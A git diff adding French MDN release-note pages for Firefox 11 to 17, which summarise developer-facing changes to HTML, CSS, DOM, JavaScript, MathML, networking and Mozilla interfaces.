  • {{domxref("XMLHttpRequest")}} supporte désormais des délais d'attente en utilisant la propriété timeout et l'évènement "timeout", ainsi que le gestionnaire d'évènements ontimeout de l'interface {{domxref("XMLHttpRequestEventTarget")}}.
    • +
  • {{domxref("XMLHttpRequest")}} peut désormais se charger à partir des URIs data:.
    • +
  • Lors du téléchargement de grandes quantités de données, les gestionnaires d'événements {{domxref("XMLHttpRequest")}} de progression sont désormais appelés régulièrement avec l'ensemble responseType vers "moz-blob" et la réponse étant un {{domxref("Blob")}} contenant toutes les données reçues jusqu'ici. Cela permet aux gestionnaires de progression de commencer le traitement des données sans avoir à tout attendre.
    • +
  • Gecko supporte désormais le multi-touch (au lieu d'une touche à la fois) sur Android.
    • +
  • Lorsque vous éditez du texte à l'aide d'un IME, l'événement input est à présent envoyé chaque fois que le contenu de l'élément en cours d'édition a été changé, ce qui se passe après l'événement compositionupdate est envoyé pour indiquer que le texte de l'IME a été modifié. Vous pouvez donc utiliser le gestionnaire d'événements input, pour suivre l'évolution du contenu réel de l'élément.
    • +
  • {{domxref("DOMError")}} a été implémenté selon la spécification DOM 4.
    • +
  • La méthode {{domxref("Document.createNodeIterator()")}} a été mise à jour suivant la spécification DOM4. Cela rend les paramètres whatToShow et filter facultatifs et supprime le quatrième paramètre non-standard, entityReferenceExpansion.
    • +
  • La méthode slice() de l'interface {{domxref("Blob")}} a été touché par un bug qui l'empêchait d'accepter correctement le début et la fin des valeurs hors de la portée d'un entier de 64 bits signé, cela a été corrigé.
    • +
  • La méthode {{domxref("element.getBoundingClientRect()")}} considère désormais l'effet des transformations CSS lors du calcul des délimitations du rectangle de l'élément.
    • +
  • La propriété crossOrigin est à présent supportée par {{domxref("HTMLMediaElement")}}.
    • +
+ +

Nouvelles WebAPIs

+ +
    +
  • API Information Réseau : Ajout du support expérimental de {{domxref("window.navigator.connection")}} (prefixé).
    • +
  • API WebTelephony : {{domxref("window.navigator.mozTelephony")}} a été implémenté et fournit un support pour composer, répondre, et gérer les appels téléphoniques sur un appareil.
    • +
  • API WebSMS : {{domxref("window.navigator.mozSms")}} est à présent disponible pour les appareils mobiles pour envoyer des SMS.
    • +
  • API Screen brightness : {{domxref("window.screen.mozEnabled")}} et {{domxref("window.screen.mozBrightness")}} ont été ajoutés pour contrôler l'écran de l'appareil.
    • +
+ +

SVG

+ +
    +
  • Firefox implémente désormais l'API DOM {{domxref("SVGTests")}}, voir {{bug(607854)}}
    • +
  • L'interface DOM {{domxref("SVGStringList")}} supporte la propriété non-standard length, voir {{bug(711958)}}
    • +
+ +

MathML

+ +
    +
  • Pour contrôler la directionnalité des formules de MathML, l'attribut dir est désormais supporté par les éléments {{MathMLElement("math")}}, {{MathMLElement("mrow")}} et {{MathMLElement("mstyle")}} ainsi que par les éléments MathML Token. C'est particulièrement important pour certaines notations mathématiques Arabes.
    • +
  • L'attribut d'alignement align definit dans MathML3 a été implementé pour {{MathMLElement("munder")}}, {{MathMLElement("mover")}} et {{MathMLElement("munderover")}}.
    • +
+ +

Réseau

+ +
    +
  • Auparavant, Gecko rapportait le code de fermeture CLOSE_NORMAL quand un canal WebSocket était fermé en raison d'une erreur inattendue ou d'une condition d'erreur que la spécification ne couvre pas. Désormais, CLOSE_GOING_AWAY est rapporté à la place.
    • +
+ +

Outils de développement

+ + + +

Mozilla travaille sur l'intégration des ses propres outils de développement Web qui complètent l'add-on populaire Firebug. Vous pouvez obtenir plus d'informations sur ces outils et également voir une liste de ressources externes à Firefox qui vous aideront dans le développement Web. La liste se trouve dans les outils de développement Web.

+ +

Changements divers

+ +
    +
  • Le jeu de caractères GEOSTD8, qui n'a jamais été entièrement supporté, n'est plus du tout pris en charge.
    • +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Modules de code JavaScript

+ +

source-editor.jsm

+ +
    +
  • La méthode resetUndo() a été ajoutée, elle vous permet d'effacer la pile d'annulation.
    • +
  • L'éditeur de source offre à présent des méthodes pour apporter des capacités de recherche : find(), findNext(), and findPrevious().
    • +
+ +

XUL

+ +
    +
  • La définition des valeurs pour l'attribut {{XULAttr("chromemargin")}} a été légèrement modifié, pour que ce soit plus facile de faire du code XUL multi-plateforme qui rend bien sur les plateformes avec des largeurs par défaut des bordures de fenêtres différentes.
    • +
+ +

XPCOM

+ + + +

XPConnect

+ +
    +
  • Le type de données PRUint64 été mal utilisé puisqu'il est sensiblement identique à PRint64 lorsqu'il est utilisé avec XPConnect. Cela a été corrigé.
    • +
+ +

Changements dans les interfaces

+ +
    +
  • L'interface nsIScreen_MOZILLA_2_0_BRANCH a été intégré dans {{interface("nsIScreen")}}. Les API définies dans cette interface (pour contrôler la luminosité de l'écran) n'avaient pas encore été documentées, mais désormais elles le sont.
    • +
  • L'interface {{interface("nsIScriptError2")}} a été intégré dans {{interface("nsIScriptError")}}.
    • +
  • {{ifmethod("nsIDownloadManager", "addDownload")}} est à présent géré de manière asynchrone plutôt que de façon synchrone.
    • +
  • La méthode {{ifmethod("imgIContainerObserver", "frameChanged")}} reçoit désormais le premier paramètre d'un objet {{interface("imgIRequest")}} qui identifie la demande correspondante.
    • +
  • La méthode {{ifmethod("nsIDOMWindowUtils", "sendTouchEvent")}} a été ajoutée pour permettre de synthétiser les événements tactiles.
    • +
  • Vous pouvez désormais faire défiler le contenu spécifié verticalement au centre de la vue en spécifiant SCROLL_CENTER_VERTICALLY lors de l'appel de la constante de défilement {{ifmethod("nsISelectionController", "scrollSelectionIntoView")}}.
    • +
  • Le nouvel attribut {{ifattribute("nsIMemoryMultiReporter", "explicitNonHeap")}} a été ajouté ; C'est un moyen plus efficace d'obtenir la somme de toutes les mesures du multi-rapporteur qui mesure ceux qui ont un chemin commençant par "explicit" et qui sont de type KIND_NONHEAP.
    • +
  • L'attribut {{ifattribute("nsIDOMWindowUtils", "paintingSuppressed")}} a été ajouté ; cette valeur booléenne indique si oui ou non la toile est en train d'être supprimée de la fenêtre. C'est utilisé sur mobile pour éviter le rendu sautillant qui se produit lorsque les tentatives pour dessiner la page commencent avant que le contenu disponible soit insuffisant pour le faire.
    • +
  • Les interfaces nsIDocCharset et nsIDocumentCharsetInfo ont été intégrées dans {{interface("nsIDocShell")}}. Dans le cadre de ce travail, le vieil attribut forcedDetector a été enlevé, il n'a jamais rien fait.
    • +
+ +

SpiderMonkey

+ +
    +
  • JSThread a été supprimé.
    • +
  • JSThreadData a été intégré dans JSRuntime.
    • +
+ +

Compilation

+ +
    +
  • Lors de la compilation sous Windows, vous devez avoir le SDK de Windows 7 installé.
    • +
+ +

Autres changements

+ + + +

Voir également

+ +

{{Firefox_for_developers('11')}}

diff --git a/files/fr/mozilla/firefox/releases/13/index.html b/files/fr/mozilla/firefox/releases/13/index.html new file mode 100644 index 0000000000..df1af7aca1 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/13/index.html @@ -0,0 +1,145 @@ +--- +title: Firefox 13 pour les développeurs +slug: Mozilla/Firefox/Versions/13 +tags: + - Firefox + - Firefox 13 +translation_of: Mozilla/Firefox/Releases/13 +--- +
{{FirefoxSidebar}}

Firefox 13, basé sur Gecko 13.0, est sorti le 5 juin 2012. Cette page résume les principaux changements dans Firefox 13 qui sont utiles aux développeurs.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • L'attribut {{htmlattrxref("cellspacing", "table")}} de {{htmlelement("table")}} est désormais analysé de la manière qu'il soit en mode quirks ou non. Autrement dit, si une valeur est spécifiée en pourcentage, elle est traitée comme un certain nombre de pixels, puisque les valeurs en pourcentage ne sont pas réellement autorisée selon la spécification.
    • +
  • L'élément {{htmlelement("wbr")}} a vu son comportement bi-directionnel corrigé. Il se comporte à présent comme l'Unicode U+200B ZERO-WIDTH SPACE et n'affecte donc plus la bi-directionnalité de son élément parent.
    • +
  • La peusdo-classe {{Cssxref(":invalid")}} peut à présent être appliquée à l'élément {{htmlelement("form")}}.
    • +
+ +

CSS

+ +
    +
  • L'unité turn de la propriété {{cssxref("<angle>")}} est désormais supportée (à utiliser avec la fonction CSS rotate()).
    • +
  • Le support d'une syntaxe de 3 à 4 valeurs pour la propriété {{cssxref("background-position")}} a été ajouté. Vous pour décaler une image de fond à partir de n'importe quel coin en écrivant par exemple "right 10px bottom 20px". Voir {{bug(522607)}}
    • +
  • Le support d'une syntaxe à 2 valeurs pour la propriété {{cssxref("background-repeat")}} a été ajouté.
    • +
  • Les propriétés {{cssxref("border-radius","-moz-border-radius*")}} et {{cssxref("box-shadow","-moz-box-shadow")}} n'ont plus de préfixe (border-radius ou box-shadow). Voir {{bug(693510)}}
    • +
  • La propriété {{cssxref("column-fill")}} a été implémentée (prefixée).
    • +
+ +

JavaScript

+ +
    +
  • Le support pour la construction for..of de l'ECMAScript 6 a été ajouté.
    • +
  • Le support expérimental pour les objets ECMAScript 6 Map and Set a été ajouté.
    • +
+ +

DOM

+ +
    +
  • L'argument deep de la méthode {{domxref("Node.cloneNode()")}} est désormais optionnel, comme c'est spécifié dans DOM4.
    • +
  • Les méthodes {{domxref("window.setTimeout()")}} et {{domxref("window.setInterval()")}} ne transmettent plus l'argument supplémentaire "lateness" lors du rappel de routine.
    • +
  • La méthode {{domxref("Blob","Blob.mozSlice()")}} n'a plus de préfixe.
    • +
  • Le support du constructeur {{domxref("Blob")}} a été ajouté.
    • +
  • Le support de globalStorage a été retiré.
    • +
  • La nouvelle interface {{domxref("DOMRequest")}}, utilisée pour rapporté l'état et le résultat des opérations en arrière-plan, a été ajoutée.
    • +
  • La méthode {{domxref("HTMLOptionElement", "HTMLOptionElement.index()")}} renvoie désormais 0 au lieu de l'incorrect -1 lorsque {{HTMLElement("option")}} est à l'intérieur d'un élément {{HTMLElement("datalist")}}.
    • +
  • {{domxref("DOMException")}} a été implémenté selon la spécification DOM Level 4.
    • +
  • L'inteface {{domxref("FileError")}} a été supprimée en faveur de l'interface {{domxref("DOMError")}} selon la dernière spécification FileAPI.
    • +
  • L'objet {{domxref("Range")}} ne lance plus une RangeException. A la place une {{domxref("DOMException")}} est utilisée selon DOM 4.
    • +
  • {{domxref("element.getAttributeNS()")}} renvoie désormais toujours null au lieu d'une chaîne vide pour les attributs inexistants. Auparavant, il y avait des cas où une chaîne vide pouvait être retournée. Pour être conforme à la spécification DOM4, null doit être retourné pour les attributs inexistants.
    • +
  • L'interface {{domxref("HTMLCanvasElement")}} a maintenant une méthode non-standard, mozFetchAsStream(), qui fournit un flux entrant contenant les données d'image de l'élément au format spécifié.
    • +
+ +

UA string

+ +
    +
  • Firefox Mobile ou Tablet pour Android dispose désormais d'une chaîne UA pour indiquer le style et n'a plus le signe Fennec. En outre, le nombre après "Gecko /" est à présent le numéro de version de Gecko au lieu d'une date.
    • +
  • La chaîne UA n'affiche plus le numéro de correctif Gecko ou le statut de version dans le numéro de version ; le numéro de version est à présent toujours de la forme "X.Y", où X est le numéro de version majeur et Y le mineur. Par exemple, "13.0" ou "14.1". Il n'y aura plus quelque chose comme "14.0.1b1".
    • +
+ +

SVG

+ +
    +
  • L'interface DOM {{domxref("SVGStringList")}} est désormais indexable comme Array (voir {{bug(722071)}}).
    • +
+ +

WebGL

+ +
    +
  • Le support pour l'extension EXT_texture_filter_anisotropic a été ajouté. Le filtrage des textures anisotrope améliore la qualité de l'accès aux textures mipmapped lors de la visualisation d'une primitive texturée à un angle oblique.
    • +
+ +

MathML

+ +
    +
  • Le support pour l'attribut width sur l'élément {{MathMLElement("mtable")}} a été ajouté ({{bug(722880)}}).
    • +
  • La police MathJax est désormais utilisée comme police par défaut pour le texte mathématique are now used as the default fonts for mathematical text. Voir les polices pour le moteur MathML de Mozilla pour plus d'informations.
    • +
+ +

Réseau

+ +
    +
  • Le protocole SPDY est désormais activé par défaut.
    • +
+ +

Outils de développement

+ +

Amélioration de la vue 3D

+ +
    +
  • Vous pouvez à présent appuyer sur la touche "F" pour s'assurer que le nœud actuellement sélectionné est visible.
    • +
+ +

Améliorations du panneau de style

+ +
    +
  • En cliquant sur l'en-tête d'une règle dans le panneau de style ouvre à présent l'Editeur de style correspondant au CSS.
    • +
  • Un clique droit sur une règle dans le panneau de style offre à présent une option pour copier la règle dans le presse-papiers.
    • +
  • La saisie d'un nom de propriété inconnue, ou d'une valeur de propriété illégale, affiche une icône d'avertissement près de cette propriété.
    • +
+ +

Amélioration de l'Ardoise

+ +
    +
  • L'Ardoise a maintenant une option dans le menu Aide pour vous rendre à la documentation MDN sur l'Ardoise.
    • +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Note de compatibilité

+ +

A partir de Firefox 13, Firefox pour Windows requiert au minimum Windows XP Service Pack 2, il ne pourra plus s'exécuter sur Windows 2000 ou les versions antérieures de Windows XP.

+ +

Modules de code JavaScript

+ +

source-editor.jsm

+ +
    +
  • Le support d'un drapeau sale a été ajouté à l'API Source Editor.
    • +
  • L'éditeur de source ne supporte plus de retomber sur un {{HTMLElement("textarea")}} au lieu d'utiliser Orion.
    • +
  • L'éditeur expose à présent les évènements focus et blur.
    • +
  • La méthode getIndentationString() a été ajoutée, cela renvoie la chaîne à utiliser pour l'indentation du texte dans l'éditeur.
    • +
  • L'éditeur de source supporte désormais la gestion d'une liste de points d'arrêt et l'affichage de l'interface utilisateur pour les basculer sur et en dehors ; toutefois, il ne fait pas la mise en œuvre des points d'arrêt. C'est à vous d'écrire du code pour le débogueur.
    • +
  • Le support pour mettre en surbrillance la ligne actuelle a été ajouté, en utilisant l'option de configuration highlightCurrentLine.
    • +
+ +

ARIA

+ +
    +
  • Les propriétés CSS {{cssxref("margin-left")}}, {{cssxref("margin-right")}}, {{cssxref("margin-top")}}, {{cssxref("margin-bottom")}} sont à présent toutes reflétées dans les attributs des objets ARIA avec le même nom. Voir les attributs des objets Gecko pour plus d'informations.
    • +
+ +

Interfaces

+ +
    +
  • L'interface {{interface("nsIScreen")}} supporte à présent le contrôle de la rotation via le nouvel attribut rotation.
    • +
  • L'interface {{interface("nsIPrefBranch2")}} a été intégrée dans {{interface("nsIPrefBranch")}} ({{bug(718255)}}).
    • +
  • Les alias MozOpacity, MozOutline, MozOutlineStyle, MozOutlineWidth, MozOutlineOffset et MozOutlineColor, qui ont tous été retirés des précédentes versions de Gecko, ont été supprimés de {{interface("nsIDOMCSS2Properties")}}, qui aurait dû avoir ces alias.
    • +
  • L'attribut excludeItemIfParentHasAnnotation de {{interface("nsINavHistoryQueryOptions")}} a été retiré, avec l'opération de requête correspondante. Il existait les livemarks, qui n'existent plus.
    • +
+ +

Voir également

+ +

{{Firefox_for_developers('12')}}

diff --git a/files/fr/mozilla/firefox/releases/15/index.html b/files/fr/mozilla/firefox/releases/15/index.html new file mode 100644 index 0000000000..e4ed3d90ea --- /dev/null +++ b/files/fr/mozilla/firefox/releases/15/index.html @@ -0,0 +1,114 @@ +--- +title: Firefox 15 pour les développeurs +slug: Mozilla/Firefox/Versions/15 +tags: + - Firefox + - Firefox 15 +translation_of: Mozilla/Firefox/Releases/15 +--- +
{{FirefoxSidebar}}

Firefox 15, basé sur Gecko 15.0, est sorti le 28 août 2012. Cette page résume les principaux changements dans Firefox 15 qui sont utiles aux développeurs.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • L'attribut size de l'élément {{HTMLElement("font")}} est à présent géré selon la spécification HTML5. Cela signifie que toutes les valeurs entières supérieures à 10 ou inférieure à -10 sont désormais considérées, respectivement, comme équivalentes à 10 et -10.
    • +
  • Le support pour les attributs font-weight et point-size de l'élément <font> a été supprimé ; ils n'étaient pas standards et Gecko était le seul moteur qui les a supportés.
    • +
  • Le codec Opus est à présent supporté pour l'audio dans les conteneurs Ogg pour les éléments HTML {{HTMLElement("audio")}} et {{HTMLElement("video")}}.
    • +
  • L'élément {{HTMLElement("source")}} supporte désormais l'attribut media.
    • +
  • Les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}} supportent désormais l'attribut played, qui fournit l'objet {{domxref("TimeRanges")}} listant les plages de temps des médias qui ont été lus jusqu'à présent.
    • +
+ +

CSS

+ +
    +
  • La propriété {{cssxref("font-feature-settings")}} a été mise à jour selon la dernière syntaxe : font-feature-settings: "lnum" 1;.
    • +
  • La propriété CSS {{cssxref("text-transform")}} a été étendue pour gérer correctement les ligatures Unicode (comme fi).
    • +
  • La propriété CSS {{cssxref("word-break")}} a été impémentée.
    • +
  • La propriété {{cssxref("border-image")}} a été mise à jour selon la dernière spécification et n'a plus de préfixe. ({{bug(713643)}})
    • +
  • La fonction skew() de {{cssxref("transform")}} retirée dans Firefox 14, a été restaurée pour la compatibilitée avec les sites existants. Toutefois, les auteurs sont invités à utiliser à la place les fonctions skewX() et skewY().
    • +
+ +

DOM

+ +
    +
  • Les méthodes KeyboardEvent.getModifierState() et MouseEvent.getModifierState() de DOM Events Level 3, qui vous permettent de demander l'état des touches de modification, comme Ctrl ou Shift, ont été implémentées ({{bug(630811)}} et {{bug(731878)}}). Mais le comportement est conforme au dernier brouillon de D3E. Donc, certains noms de touches de modification diffèrent de IE ({{bug(769190)}}).
    • +
  • Sur les évènements de la souris, l'attribut MouseEvent.buttons pour interroger l'état des boutons de la souris, a été implémenté.
    • +
  • Sur les évènements du clavier, l'attribut KeyboardEvent.location pour interroger l'emplacement de la clé (standard, à gauche ou à droite de la touche de modification, dans le pavé numérique), a été implémenté ({{bug(166240)}}).
    • +
  • Le résultat de KeyboardEvent.keyCode a été calculé à partir de meilleures règles qui étaient presque identiques sous Windows/Linux/Mac. Et désormais elles sont disponibles sur certaines configurations de clavier qui n'ont pas la disposition ASCII sur Linux et Mac, comme l'arabe, le cyrillique, thaï et ainsi de suite. Voir le document des codes pour les touches virtuelles.
    • +
  • La méthode range.detach() a été tranformée en no-op et sera probablement supprimée dans le futur.
    • +
  • La méthode HTMLVideoElement.mozHasAudio() a été implémentée. Elle indique si une piste audio est associée à un élément vidéo. ({{bug(480376)}})
    • +
  • L'API Performance a une nouvelle méthode, now(), supportant les horloges haute résolution du type de DOMHighResTimeStamp. ({{bug(539095)}}).
    • +
  • L'API WebSMS a été mise à jour et supporte à présent l'attribut read indiquant si un SMS est lu ou non.
    • +
  • L'API FileHandle a été implémentée.
    • +
  • Le constructeur Blob prend désormais ArrayBufferView comme un membre du paramètre blobParts en plus de ArrayBuffer. ({{bug(752402)}})
    • +
  • {{domxref("DeviceLightEvent")}} spécifié dans Ambient Light Events a été implémenté.
    • +
  • {{domxref("DeviceProximityEvent")}} et {{domxref("UserProximityEvent")}} de Proximity Events ont été implementés.
    • +
+ +

JavaScript

+ +
    +
  • Le support de l'interface DataView a été ajouté à partir de la spécification des tableaux typés. Cela fournit un accès de bas niveau aux données contenues dans un ArrayBuffer.
    • +
  • Le support de Number.isNaN d'ECMAScript Harmony a été ajouté. ({{bug(749818)}}, {{bug(761495)}}, {{bug(761480)}})
    • +
  • Le support du paramètre default d'ECMAScript Harmony a été ajouté. ({{bug(757676)}})
    • +
  • Le support du paramètre rest d'ECMAScript Harmony a été ajouté. ({{bug(574132)}})
    • +
+ +

WebGL

+ +
    +
  • Le support de l'extension WEBGL_compressed_texture_s3tc a été ajouté. Les textures compressées réduisent la quantité de mémoire nécessaire pour stocker une texture sur le GPU, ce qui permet d'utiliser des textures en plus hautes résolutions ou plus de textures de même résolution.
    • +
+ +

MathML

+ +
    +
  • Les opérateurs mathématiques peuvent désormais utiliser les polices téléchargeables spécifiés avec {{cssxref("@font-face")}}. Cela permet à l'extension MathML-fonts de travailler également avec les opérateurs extensibles.
    • +
  • L'attribut selection de {{MathMLElement("maction")}} est désormais uniquement pris en compte avec l'actiontype toggle.
    • +
  • L'obsolète et contraignant namedspace a été supprimé ({{bug("673759")}}).
    • +
  • La prise en charge de la syntaxe des valeurs de Length et {{MathMLElement("mpadded")}} a été améliorée selon la spécification MathML3.
    • +
  • Les nouveaux opérateurs MathML pour les maths arabes ont été ajoutés au dictionnaire opérateur ({{bug(757125)}}).
    • +
+ +

Réseau

+ +
    +
  • Le support du protocole SPDY v3 a été lancé. Il est désactivé par défaut et peut être activé en définissant la préférence network.http.spdy.enabled.v3 sur vrai. ({{bug(737470)}})
    • +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Changements dans les interfaces

+ +
+
{{interface("nsIDOMWindowUtils")}}
+
aModifiers de sendMouseEvent(), sendTouchEvent(), sendMouseEventToWindow(), sendMouseScrollEvent() et sendKeyEvent() supporte toutes les touches de modification qui sont supportées par KeyboardEvent.getModifierState(). Utiliser les valeurs MODIFIER_*. Et désormais le 5ème paramètre de sendKeyEvent() est changé d'un boolean vers un unsigned long. Pour la compatibilité ascendante, si l'appelant passe true ou false, le comportement n'est pas changé. Ce changement permet aux appelants d'indiquer l'emplacement de la touche.
+
{{interface("nsIBrowserHistory")}}
+
La méthode hidePage() n'a jamais été implémentée, et a été entièrement supprimée dans cette version. La méthode addPageWithDetails() a également été supprimée dans le cadre des travaux pour faire une API Places asynchrone ; à la place, utilisez plutôt {{ifmethod("mozIAsyncHistory", "updatePlaces")}}. De plus, l'attribut count a été retiré, il ne renvoyé pas un comptage réel à certain moment (à la place, il indiqué simplement si les entrées existées). Vous pouvez utiliser à la place {{ifattribute("nsINavHistoryService", "hasHistoryEntries")}}.
+
+ +
+
{{interface("inIDOMUtils")}}
+
La méthode parseStyleSheet() permet d'ajouter et d'analyser des feuilles de style.
+
+ +

Nouvelles interfaces

+ +
+
{{interface("nsISpeculativeConnect")}}
+
Fournit un moyen de suggérer la couche réseau que vous allez être susceptibles de demander l'ouverture d'une connexion à un URI donné dans un futur proche. Cela permet à la couche réseau d'entamer le processus, qui a parfois une forte latence, d'ouvrir une nouvelle connexion réseau à l'avance.
+
+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été supprimées.

+ +
    +
  • {{interface("nsIGlobalHistory")}}
    • +
+ +

Voir également

+ +

{{Firefox_for_developers('14')}}

diff --git a/files/fr/mozilla/firefox/releases/16/index.html b/files/fr/mozilla/firefox/releases/16/index.html new file mode 100644 index 0000000000..0d9335ab6b --- /dev/null +++ b/files/fr/mozilla/firefox/releases/16/index.html @@ -0,0 +1,88 @@ +--- +title: Firefox 16 pour les développeurs +slug: Mozilla/Firefox/Versions/16 +tags: + - Firefox + - Firefox 16 +translation_of: Mozilla/Firefox/Releases/16 +--- +
{{FirefoxSidebar}}

Firefox 16, basé sur Gecko 16.0, est sorti le 9 octobre 2012. Cette page résume les principaux changements dans Firefox 15 qui sont utiles aux développeurs.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • L'élément {{HTMLElement("meter")}} est à présent supporté.
    • +
  • Le support pour l'API HTML Microdata a été ajouté. ({{bug(591467)}})
    • +
  • {{HTMLElement("canvas")}} supporte à présent le mot-clé CSS currentColor dans tous les cas. ({{bug("629882")}})
    • +
  • {{HTMLElement("input")}} permet désormais un filtrage basé sur les types MIME abitraires dans accept. ({{bug(565274)}})
    • +
+ +

CSS

+ +
    +
  • Le support du standard des Animations CSS a été lancé sans préfixe. ({{bug(762302)}})
    • +
  • Le support pour l'inversion de la direction de l'animation (mots-clés reverse et alternate-reverse sur la propriété {{cssxref("animation-direction")}}) a été ajouté. ({{bug(655920)}})
    • +
  • Vous pouvez désormais animer les propriétés CSS {{cssxref("height")}} et {{cssxref("width")}}.
    • +
  • Les propriétés CSS {{cssxref("animation-duration")}} et {{cssxref("transition-duration")}} rejettent désormais les valeurs négatives (et ne les traitent plus comme 0s) ({{bug(773102)}})
    • +
  • Le support du standard des Transformations CSS a été lancé sans préfixe. ({{bug(745523)}})
    • +
  • Le support du standard des Dégradés CSS a été lancé sans préfixe. Notez que la syntaxe a considérablement évoluée depuis la version préfixée. ({{bug(752187)}})
    • +
  • L'implémentation de {{cssxref("box-sizing", "-moz-box-sizing")}} a été actualisée pour aussi s'appliquer aux cellules du tableau. ({{bug(338554)}})
    • +
  • Le support du standard de {{cssxref("calc")}} a été lancé sans préfixe. ({{bug(771678)}})
    • +
  • Le type de données de {{cssxref("<resolution>")}} a été étendu et supporte le dppx. ({{bug(741644)}})
    • +
  • Sur l'écran, pour les media queries, dppx, dpi et dpcm représentent désormais des valeurs basés sur des pixels CSS et non plus avec les unités physiques. ({{bug(771390)}})
    • +
  • Trois nouvelles pseudo-classes, :-moz-meter-optimum, :-moz-meter-sub-optimum et :-moz-meter-sub-sub-optimum, ont été ajoutées pour accéder à/styliser un élément {{HTMLElement("meter")}} dans un état particulier. ({{bug(660238)}})
    • +
  • La propriété {{cssxref("-moz-appearance")}} gagnes deux nouvelles valeurs : meterbar et meterchunk. Elles représentent des composants dans l'élément {{HTMLElement("meter")}}. ({{bug(659999)}})
    • +
  • {{cssxref("min-width")}} et {{cssxref("min-height")}} supportent désormais le mot-clé auto pour les articles flexibles (et règlent les autres articles à 0 ). ({{bug(763689)}})
    • +
+ +

DOM

+ +
    +
  • Deux nouvelles propriétés, width et height, ont été ajoutée à l'interface {{domxref("HTMLInputElement")}}. ({{bug(683855)}})
    • +
  • Les propriétés et méthodes d'IndexedDB n'ont plus de préfixe, depuis que IndexedDB est passé au statut Candidate Recommendation. ({{bug(726378)}})
    • +
  • Battery API n'a plus de préfixe.
    • +
  • L'API Vibration n'a plus de préfixe.
    • +
  • L'interface {{domxref("Keyboard")}}, qui est toujours préfixée (mozKeyboard), a désormais les méthodes {{domxref("Keyboard.setSelectedOption()")}} et {{domxref("Keyboard.setValue()")}}, ainsi que la propriété {{domxref("Keyboard.onfocuschange")}}.
    • +
  • Les attributs Window.java et Window.packages ont été supprimés. Ils n'ont jamais été documentés, et nous espérons que vous ne les utilisiez pas !
    • +
  • CSSRule.type associé avec {{domxref("CSSNamespaceRule")}} a été mis à jour à partir de UNKNOWN_RULE (0) vers NAMESPACE_RULE (10). ({{bug(765590)}})
    • +
  • API WebSMS : SmsRequest a été remplacé par qui est plus général.
    • +
+ +

JavaScript

+ +
    +
  • L'objet Number offre désormais les méthodes isFinite(), toInteger() et isInteger(). ({{bug(761480)}}, {{bug(761495)}})
    • +
  • L'opérateur de diffusion d'Harmony a été ajouté à l'objet Array. ({{bug(574130)}})
    • +
+ +

MathML

+ +
    +
  • Les attributs lspace et rspace de {{MathMLElement("mo")}} ont désormais la constante thickmathspace par défaut.
    • +
+ +

Outils de développement

+ +
    +
  • Il existe à présent une barre de développement très pratique, vous pouvez y accéder en allant dans Outils > Développeur Web > Barre de Développement, ou en appuyant sur Maj+F2. Cette barre d'outils propose une interface en ligne de commande ainsi que des boutons pour accéder rapidement aux outils utiles. L'interface graphique de commande en ligne (GCLI) est facile à étendre et d'autres commandes devraient dans le futur. Tapez "help" pour obtenir la liste des commandes disponibles.
    • +
  • La console Web affiche désormais le nombre d'erreurs afin que vous voyez rapidement la quantité de travail que vous avez devant vous.
    • +
  • L'Ardoise propose désormais la liste des fichiers récemments ouverts.
    • +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Changements dans les interfaces

+ +

{{interface("nsIPrivateDOMEvent")}} a été fusionné dans {{interface("nsIDOMEvent")}}. ({{bug("761613")}})

+ +

Nouvelles interfaces

+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été supprimées.

+ +

Voir également

+ +

{{Firefox_for_developers('15')}}

diff --git a/files/fr/mozilla/firefox/releases/17/index.html b/files/fr/mozilla/firefox/releases/17/index.html new file mode 100644 index 0000000000..b8c77bfa66 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/17/index.html @@ -0,0 +1,87 @@ +--- +title: Firefox 17 pour les développeurs +slug: Mozilla/Firefox/Versions/17 +tags: + - Firefox + - Firefox 17 +translation_of: Mozilla/Firefox/Releases/17 +--- +
{{FirefoxSidebar}}
+ +

Firefox 17, basé sur Gecko 17.0, est sorti le 20 novembre 2012. Cette page résume les principaux changements dans Firefox 17 qui sont utiles aux développeurs.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • Le support de l'attribut {{htmlattrxref("sandbox", "iframe")}} sur l'élément {{HTMLElement("iframe")}} a été ajouté. ({{bug(341604)}})
    • +
  • Le support de l'attribut inputmode sur l'élément {{HTMLElement("input")}} a été ajouté. (Note : actuellement, les valeurs de Gecko diffèrent de la spécification HTML de WHATWG.) ({{bug(746142)}})
    • +
+ +

CSS

+ +
    +
  • Le support de la règle {{cssxref("@supports")}} définie dans la spécification CSS3 Conditional Rules a été lancée. Les développeurs peuvent l'essayer en passant la préférence layout.css.supports-rule.enabled à true ({{bug(649740)}})
    • +
  • Le support de la pseudo-classe {{cssxref(":dir", ":dir()")}}, des sélecteurs CSS de niveau 4, permettant de sélectionner des éléments selon leur directionnalité a été lancée. ({{bug(562169)}})
    • +
  • Le support de la nouvelle valeur isolate-override de la propriété CSS {{cssxref("unicode-bidi")}} a été lancée. ({{bug(774335)}})
    • +
  • Notre implémentation de {{cssxref("box-sizing")}} préfixé prend désormais en compte {{cssxref("min-height")}} et {{cssxref("max-height")}}. Un pas de plus vers son dépréfixage. ({{bug(308801)}})
    • +
+ +

DOM

+ +
    +
  • Le support de l'interface {{domxref("CSSSupportsRule")}} définie dans la spécification CSS3 Conditional Rules a été lancée. ({{bug(649740)}})
    • +
  • Le support de l'objet {{domxref("WheelEvent")}} et de l'évènement wheel a été lancé. ({{bug(719320)}}).
    • +
  • Le support de la touche DOM Meta sur Linux est de nouveau disponible. ({{bug(751749)}}).
    • +
  • Sur {{domxref("HTMLMediaElement")}}, une nouvelle méthode a été ajoutée, mozGetMetadata. Elle retourne un objet JavaScript dont les propriétés représentent les métadonnées à partir de la ressource du média joué comme des paires {clé: valeur}. ({{bug(763010)}}).
    • +
+ + +

JavaScript

+ +
    +
  • L'objet String offre à présent les méthodes d'Harmony startsWith, endsWith et contains. ({{bug(772733)}})
    • +
